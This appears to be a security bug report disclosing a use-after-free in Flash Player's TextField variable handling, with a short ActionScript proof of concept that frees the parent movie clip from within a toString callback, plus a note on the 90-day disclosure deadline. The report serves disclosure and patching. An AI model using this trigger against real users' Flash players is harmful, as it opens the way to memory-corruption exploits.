If a TextField variable is set to a value with toString defined, and the TextField is updated, a use-after-free can occur if the toString method frees the TextField's parent. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 301);
var my_txt = mc.createTextField("my_txt", 302, 0, 0, 100, 100); 
trace(my_txt);
my_txt.variable = "today_date"; 
mc.today_date = "blah"; 
var times = 0;
 
var date_interval:Number = setInterval(updateDate, 500);
 
function updateDate() { 
    mc.today_date = {toString : func}; 
}

function func(){
	if(times == 0){
		times++;
		mc.removeMovieClip();
	}

	return "test";
	
	}

A sample fla and swf are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 

textvar.fla 5.0 KB Download

textvar.swf 997 bytes Download